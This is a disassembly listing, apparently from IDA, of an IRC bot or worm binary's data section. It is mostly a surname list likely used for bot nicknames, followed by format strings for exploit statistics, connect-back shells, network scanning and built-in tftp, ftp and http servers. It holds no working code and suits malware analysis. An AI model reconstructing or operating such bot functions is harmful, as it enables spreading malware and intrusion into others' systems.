aElvis db 'Elvis',0 ; DATA XREF: .data:0043CA24o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .data:0043CA20o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0043CA1Co
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: .data:0043CA18o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0043CA14o
aEdward db 'Edward',0 ; DATA XREF: .data:0043CA10o
align 10h
aEdner db 'Edner',0 ; DATA XREF: .data:0043CA0Co
align 4
aEdley db 'Edley',0 ; DATA XREF: .data:0043CA08o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: .data:0043CA04o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .data:0043CA00o
aEardley db 'Eardley',0 ; DATA XREF: .data:0043C9FCo
aDwyer db 'Dwyer',0 ; DATA XREF: .data:0043C9F8o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: .data:0043C9F4o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .data:0043C9F0o
aDuffin db 'Duffin',0 ; DATA XREF: .data:0043C9ECo
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0043C9E8o
aDrinker db 'Drinker',0 ; DATA XREF: .data:0043C9E4o
aDowsland db 'Dowsland',0 ; DATA XREF: .data:0043C9E0o
align 4
aDoug db 'Doug',0 ; DATA XREF: .data:0043C9DCo
align 10h
aDoty db 'Doty',0 ; DATA XREF: .data:0043C9D8o
align 4
aDosi db 'Dosi',0 ; DATA XREF: .data:0043C9D4o
align 10h
aDorf db 'Dorf',0 ; DATA XREF: .data:0043C9D0o
align 4
aDore db 'Dore',0 ; DATA XREF: .data:0043C9CCo
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: .data:0043C9C8o
align 4
aDonner db 'Donner',0 ; DATA XREF: .data:0043C9C4o
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: .data:0043C9C0o
aDoherty db 'Doherty',0 ; DATA XREF: .data:0043C9BCo
aDockery db 'Dockery',0 ; DATA XREF: .data:0043C9B8o
aDirksen db 'Dirksen',0 ; DATA XREF: .data:0043C9B4o
aDionysius db 'Dionysius',0 ; DATA XREF: .data:0043C9B0o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .data:0043C9ACo
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0043C9A8o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .data:0043C9A4o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0043C9A0o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .data:0043C99Co
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0043C998o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0043C994o
aDesombre db 'Desombre',0 ; DATA XREF: .data:0043C990o
align 4
aDenison db 'Denison',0 ; DATA XREF: .data:0043C98Co
aDenham db 'Denham',0 ; DATA XREF: .data:0043C988o
align 4
aDenault db 'Denault',0 ; DATA XREF: .data:0043C984o
aDemusz db 'Demusz',0 ; DATA XREF: .data:0043C980o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .data:0043C97Co
align 4
aDeming db 'Deming',0 ; DATA XREF: .data:0043C978o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0043C974o
align 4
aDelger db 'Delger',0 ; DATA XREF: .data:0043C970o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0043C96Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .data:0043C968o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0043C964o
align 4
aDees db 'Dees',0 ; DATA XREF: .data:0043C960o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .data:0043C95Co
aDerousse db 'deRousse',0 ; DATA XREF: .data:0043C958o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0043C954o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0043C950o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0043C94Co
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .data:0043C948o
aDavid db 'David',0 ; DATA XREF: .data:0043C944o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0043C940o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0043C93Co
align 10h
aDas db 'Das',0 ; DATA XREF: .data:0043C938o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0043C934o
aDapice db 'Dapice',0 ; DATA XREF: .data:0043C930o
align 4
aDante db 'Dante',0 ; DATA XREF: .data:0043C92Co
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: .data:0043C928o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0043C924o
aDaly db 'Daly',0 ; DATA XREF: .data:0043C920o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0043C91Co
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .data:0043C918o
aCyders db 'Cyders',0 ; DATA XREF: .data:0043C914o
align 4
aCvek db 'Cvek',0 ; DATA XREF: .data:0043C910o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .data:0043C90Co
align 4
aCurrier db 'Currier',0 ; DATA XREF: .data:0043C908o
aCui db 'Cui',0 ; DATA XREF: .data:0043C904o
aCroxton db 'Croxton',0 ; DATA XREF: .data:0043C900o
aCroxen db 'Croxen',0 ; DATA XREF: .data:0043C8FCo
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0043C8F8o
aCrocker db 'Crocker',0 ; DATA XREF: .data:0043C8F4o
aCrawford db 'Crawford',0 ; DATA XREF: .data:0043C8F0o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0043C8ECo
aCounter db 'Counter',0 ; DATA XREF: .data:0043C8E8o
aCosmides db 'Cosmides',0 ; DATA XREF: .data:0043C8E4o
align 4
aCornish db 'Cornish',0 ; DATA XREF: .data:0043C8E0o
aCorey db 'Corey',0 ; DATA XREF: .data:0043C8DCo
align 4
aConnors db 'Connors',0 ; DATA XREF: .data:0043C8D8o
aCondodina db 'Condodina',0 ; DATA XREF: .data:0043C8D4o
align 4
aConcino db 'Concino',0 ; DATA XREF: .data:0043C8D0o
aComstock db 'Comstock',0 ; DATA XREF: .data:0043C8CCo
align 10h
aCompton db 'Compton',0 ; DATA XREF: .data:0043C8C4o
; .data:0043C8C8o
aCollis db 'Collis',0 ; DATA XREF: .data:0043C8C0o
align 10h
aCollard db 'Collard',0 ; DATA XREF: .data:0043C8BCo
aColella db 'Colella',0 ; DATA XREF: .data:0043C8B8o
aColdren db 'Coldren',0 ; DATA XREF: .data:0043C8B4o
aCoito db 'Coito',0 ; DATA XREF: .data:0043C8B0o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0043C8ACo
aClow db 'Clow',0 ; DATA XREF: .data:0043C8A8o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: .data:0043C8A4o
aClement db 'Clement',0 ; DATA XREF: .data:0043C8A0o
aClark db 'Clark',0 ; DATA XREF: .data:0043C89Co
align 4
aClancy db 'Clancy',0 ; DATA XREF: .data:0043C898o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: .data:0043C894o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0043C890o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .data:0043C88Co
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0043C888o
align 4
aChurch db 'Church',0 ; DATA XREF: .data:0043C884o
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: .data:0043C880o
align 4
aChu db 'Chu',0 ; DATA XREF: .data:0043C87Co
aChristopher db 'Christopher',0 ; DATA XREF: .data:0043C878o
aChristie db 'Christie',0 ; DATA XREF: .data:0043C874o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .data:0043C870o
align 4
aChristian db 'Christian',0 ; DATA XREF: .data:0043C86Co
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: .data:0043C868o
aChinman db 'Chinman',0 ; DATA XREF: .data:0043C864o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0043C860o
aChilds db 'Childs',0 ; DATA XREF: .data:0043C85Co
align 4
aChildress db 'Childress',0 ; DATA XREF: .data:0043C858o
align 4
aChien db 'Chien',0 ; DATA XREF: .data:0043C854o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .data:0043C850o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0043C84Co
align 4
aCherry db 'Cherry',0 ; DATA XREF: .data:0043C848o
align 4
aCheang db 'Cheang',0 ; DATA XREF: .data:0043C844o
align 4
aCharles db 'Charles',0 ; DATA XREF: .data:0043C840o
aChapman db 'Chapman',0 ; DATA XREF: .data:0043C83Co
aCerioli db 'Cerioli',0 ; DATA XREF: .data:0043C838o
aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0043C834o
align 4
aCavell db 'Cavell',0 ; DATA XREF: .data:0043C830o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0043C82Co
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .data:0043C828o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .data:0043C824o
align 10h
aCase db 'Case',0 ; DATA XREF: .data:0043C820o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .data:0043C81Co
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: .data:0043C818o
align 4
aCarper db 'Carper',0 ; DATA XREF: .data:0043C814o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .data:0043C810o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0043C80Co
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0043C808o
aCarlos db 'Carlos',0 ; DATA XREF: .data:0043C804o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .data:0043C800o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0043C7FCo
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0043C7F8o
aCapursi db 'Capursi',0 ; DATA XREF: .data:0043C7F4o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0043C7F0o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0043C7ECo
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0043C7E8o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .data:0043C7E4o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .data:0043C7E0o
aCanley db 'Canley',0 ; DATA XREF: .data:0043C7DCo
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0043C7D8o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: .data:0043C7D4o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .data:0043C7D0o
align 4
aCage db 'Cage',0 ; DATA XREF: .data:0043C7CCo
align 4
aByrd db 'Byrd',0 ; DATA XREF: .data:0043C7C8o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .data:0043C7C4o
align 4
aByatt db 'Byatt',0 ; DATA XREF: .data:0043C7C0o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .data:0043C7BCo
aBurridge db 'Burridge',0 ; DATA XREF: .data:0043C7B8o
align 4
aBurke db 'Burke',0 ; DATA XREF: .data:0043C7B4o
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0043C7B0o
align 4
aBurden db 'Burden',0 ; DATA XREF: .data:0043C7ACo
align 10h
aBunton db 'Bunton',0 ; DATA XREF: .data:0043C7A8o
align 4
aBullard db 'Bullard',0 ; DATA XREF: .data:0043C7A4o
aBudding db 'Budding',0 ; DATA XREF: .data:0043C7A0o
aBuchan db 'Buchan',0 ; DATA XREF: .data:0043C79Co
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0043C798o
aBrook db 'Brook',0 ; DATA XREF: .data:0043C794o
align 10h
aBroca db 'Broca',0 ; DATA XREF: .data:0043C790o
align 4
aBritz db 'Britz',0 ; DATA XREF: .data:0043C78Co
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: .data:0043C788o
aBridges db 'Bridges',0 ; DATA XREF: .data:0043C784o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0043C780o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .data:0043C778o
; .data:0043C77Co
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .data:0043C774o
aBrenan db 'Brenan',0 ; DATA XREF: .data:0043C770o
align 4
aBreed db 'Breed',0 ; DATA XREF: .data:0043C76Co
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .data:0043C768o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .data:0043C764o
aBradac db 'Bradac',0 ; DATA XREF: .data:0043C760o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .data:0043C75Co
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: .data:0043C758o
align 4
aBoym db 'Boym',0 ; DATA XREF: .data:0043C754o
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: .data:0043C750o
aBoyes db 'Boyes',0 ; DATA XREF: .data:0043C74Co
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0043C748o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .data:0043C744o
align 4
aBowers db 'Bowers',0 ; DATA XREF: .data:0043C740o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0043C73Co
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0043C738o
aBoudin db 'Boudin',0 ; DATA XREF: .data:0043C734o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .data:0043C730o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: .data:0043C72Co
aBossi db 'Bossi',0 ; DATA XREF: .data:0043C728o
align 10h
aBorden db 'Borden',0 ; DATA XREF: .data:0043C724o
align 4
aBorack db 'Borack',0 ; DATA XREF: .data:0043C720o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0043C71Co
align 4
aBoone db 'Boone',0 ; DATA XREF: .data:0043C718o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0043C714o
align 10h
aBook db 'Book',0 ; DATA XREF: .data:0043C710o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .data:0043C70Co
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .data:0043C708o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: .data:0043C704o
align 4
aBoner db 'Boner',0 ; DATA XREF: .data:0043C700o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: .data:0043C6FCo
aBollinger db 'Bollinger',0 ; DATA XREF: .data:0043C6F8o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .data:0043C6F4o
align 4
aBolger db 'Bolger',0 ; DATA XREF: .data:0043C6F0o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: .data:0043C6ECo
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .data:0043C6E8o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0043C6E4o
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0043C6E0o
aBloch db 'Bloch',0 ; DATA XREF: .data:0043C6DCo
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .data:0043C6D8o
aBliss db 'Bliss',0 ; DATA XREF: .data:0043C6D4o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .data:0043C6D0o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0043C6CCo
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .data:0043C6C8o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0043C6C4o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0043C6C0o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .data:0043C6BCo
align 10h
aBisema db 'Bisema',0 ; DATA XREF: .data:0043C6B8o
align 4
aBir db 'Bir',0 ; DATA XREF: .data:0043C6B4o
aBinion db 'Binion',0 ; DATA XREF: .data:0043C6B0o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .data:0043C6ACo
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0043C6A8o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .data:0043C6A4o
aBetti db 'Betti',0 ; DATA XREF: .data:0043C6A0o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0043C69Co
align 4
aBernston db 'Bernston',0 ; DATA XREF: .data:0043C698o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .data:0043C694o
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: .data:0043C690o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0043C68Co
align 4
aBergson db 'Bergson',0 ; DATA XREF: .data:0043C688o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0043C684o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: .data:0043C680o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .data:0043C67Co
aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0043C678o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: .data:0043C674o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0043C670o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .data:0043C66Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0043C668o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: .data:0043C664o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .data:0043C660o
aBedford db 'Bedford',0 ; DATA XREF: .data:0043C65Co
aBeder db 'Beder',0 ; DATA XREF: .data:0043C658o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .data:0043C654o
aBean db 'Bean',0 ; DATA XREF: .data:0043C650o
align 4
aBeal db 'Beal',0 ; DATA XREF: .data:0043C64Co
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .data:0043C648o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .data:0043C644o
align 4
aBayles db 'Bayles',0 ; DATA XREF: .data:0043C640o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0043C63Co
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0043C638o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .data:0043C634o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0043C630o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .data:0043C62Co
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .data:0043C628o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0043C624o
aBarry db 'Barry',0 ; DATA XREF: .data:0043C620o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .data:0043C61Co
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .data:0043C618o
aBarneson db 'Barneson',0 ; DATA XREF: .data:0043C614o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0043C610o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .data:0043C60Co
aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0043C608o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0043C604o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .data:0043C600o
aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0043C5FCo
align 4
aBanta db 'Banta',0 ; DATA XREF: .data:0043C5F8o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .data:0043C5F4o
align 4
aBallew db 'Ballew',0 ; DATA XREF: .data:0043C5F0o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .data:0043C5ECo
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: .data:0043C5E8o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0043C5E4o
align 4
aBailar db 'Bailar',0 ; DATA XREF: .data:0043C5E0o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .data:0043C5DCo
aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0043C5D8o
aBady db 'Bady',0 ; DATA XREF: .data:0043C5D4o
align 4
aBackus db 'Backus',0 ; DATA XREF: .data:0043C5D0o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0043C5CCo
align 4
aAzima db 'Azima',0 ; DATA XREF: .data:0043C5C8o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: .data:0043C5C4o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0043C5C0o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0043C5BCo
aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0043C5B8o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0043C5B4o
aAurelius db 'Aurelius',0 ; DATA XREF: .data:0043C5B0o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .data:0043C5ACo
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .data:0043C5A8o
align 4
aArky db 'Arky',0 ; DATA XREF: .data:0043C5A4o
align 4
aArjas db 'Arjas',0 ; DATA XREF: .data:0043C5A0o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .data:0043C59Co
align 4
aArellano db 'Arellano',0 ; DATA XREF: .data:0043C598o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .data:0043C594o
aArbia db 'Arbia',0 ; DATA XREF: .data:0043C590o
align 4
aAntos db 'Antos',0 ; DATA XREF: .data:0043C58Co
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .data:0043C588o
aAnsley db 'Ansley',0 ; DATA XREF: .data:0043C584o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0043C580o
align 4
aAndron db 'Andron',0 ; DATA XREF: .data:0043C57Co
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0043C578o
align 4
aAndo db 'Ando',0 ; DATA XREF: .data:0043C574o
align 4
aAndel db 'Andel',0 ; DATA XREF: .data:0043C570o
align 4
aAnand db 'Anand',0 ; DATA XREF: .data:0043C56Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .data:0043C568o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .data:0043C564o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0043C560o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: .data:0043C55Co
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0043C558o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0043C554o
aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0043C550o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .data:0043C54Co
align 4
aAllison db 'Allison',0 ; DATA XREF: .data:0043C548o
aAleks db 'Aleks',0 ; DATA XREF: .data:0043C544o
align 4
aAlda db 'Alda',0 ; DATA XREF: .data:0043C540o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0043C53Co
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .data:0043C538o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .data:0043C534o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .data:0043C530o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .data:0043C52Co
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0043C528o
align 10h
aAddison db 'Addison',0 ; DATA XREF: .data:0043C524o
aAdams db 'Adams',0 ; DATA XREF: .data:0043C520o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: .data:0043C51Co
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_43C518o
align 4
aPc db 'PC',0 ; DATA XREF: .text:0040A935o
align 4
aS_8 db '%s|',0 ; DATA XREF: .text:0040A9B5o
aS_7 db '[%s]|',0 ; DATA XREF: .text:0040AA9Do
align 4
a??? db '???',0 ; DATA XREF: .text:loc_40AA94o
; sub_41D779:loc_41D81Ao
a2k3 db '2K3',0 ; DATA XREF: .text:0040AA8Do
aXp_0 db 'XP',0 ; DATA XREF: .text:0040AA82o
; sub_41D779+8Bo
align 4
a2k db '2K',0 ; DATA XREF: .text:0040AA75o
; sub_41D779+7Co
align 4
aMe_0 db 'ME',0 ; DATA XREF: .text:0040AA62o
; sub_41D779+68o
align 4
a98 db '98',0 ; DATA XREF: .text:0040AA55o
; sub_41D779+59o
align 10h
aNt_0 db 'NT',0 ; DATA XREF: .text:0040AA48o
; sub_41D779+4Ao
align 4
a95 db '95',0 ; DATA XREF: .text:0040AA3Do
; sub_41D779+39o
align 4
; char aDS[]
aDS db '[%d]%s',0 ; DATA XREF: sub_40AAE6+3Ao
align 10h
; char aM[]
aM db '[M]',0 ; DATA XREF: sub_40AAE6+2Co
; sub_40AAE6+51o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AAE6+18o
; sub_41AD95+6o
align 4
dword_4329BC dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40AEF0+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B0BB+51o
align 4
; char aSSStopped_DThr[]
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B0BB+35o
align 10h
; char aTotalDInS_[]
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B3C5+86o
align 4
; char asc_432A24[]
asc_432A24 db ' ' ; DATA XREF: sub_40B3C5+47o
db 3, 37h, 25h
dd 203A0373h, 2C6425h
; char asc_432A30[]
asc_432A30 db '-' ; DATA XREF: sub_40B3C5+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
; char asc_432A50[]
asc_432A50 db '-' ; DATA XREF: sub_40B494+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
; char asc_432A98[]
asc_432A98 db '-' ; DATA XREF: sub_40B4FF+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
; char aScanTimeS_[]
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B553+7Eo
; char asc_432AD4[]
asc_432AD4 db ' ' ; DATA XREF: sub_40B553+40o
db 3, 37h, 25h
dd 28200373h, 73253403h, 2C2903h
; char asc_432AE4[]
asc_432AE4 db '-' ; DATA XREF: sub_40B553+14o
db 3, 34h, 2
dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
dd 3Ah
; char asc_432B00[]
asc_432B00 db '-' ; DATA XREF: sub_40B619+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
; char asc_432B20[]
asc_432B20 db '-' ; DATA XREF: sub_40B619+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
; char asc_432B3C[]
asc_432B3C db '-' ; DATA XREF: sub_40B690+49Co
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 10h
; char asc_432B70[]
asc_432B70 db '-' ; DATA XREF: sub_40B690+386o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
; char asc_432BA8[]
asc_432BA8 db '-' ; DATA XREF: sub_40B690+326o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
; char asc_432BD8[]
asc_432BD8 db '-' ; DATA XREF: sub_40B690+25Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
; char asc_432C0C[]
asc_432C0C db '-' ; DATA XREF: sub_40B690+1FFo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
; char asc_432C40[]
asc_432C40 db '-' ; DATA XREF: sub_40B690+137o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
; char asc_432C74[]
asc_432C74 db '-' ; DATA XREF: sub_40BCF3+DEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
; char asc_432C9C[]
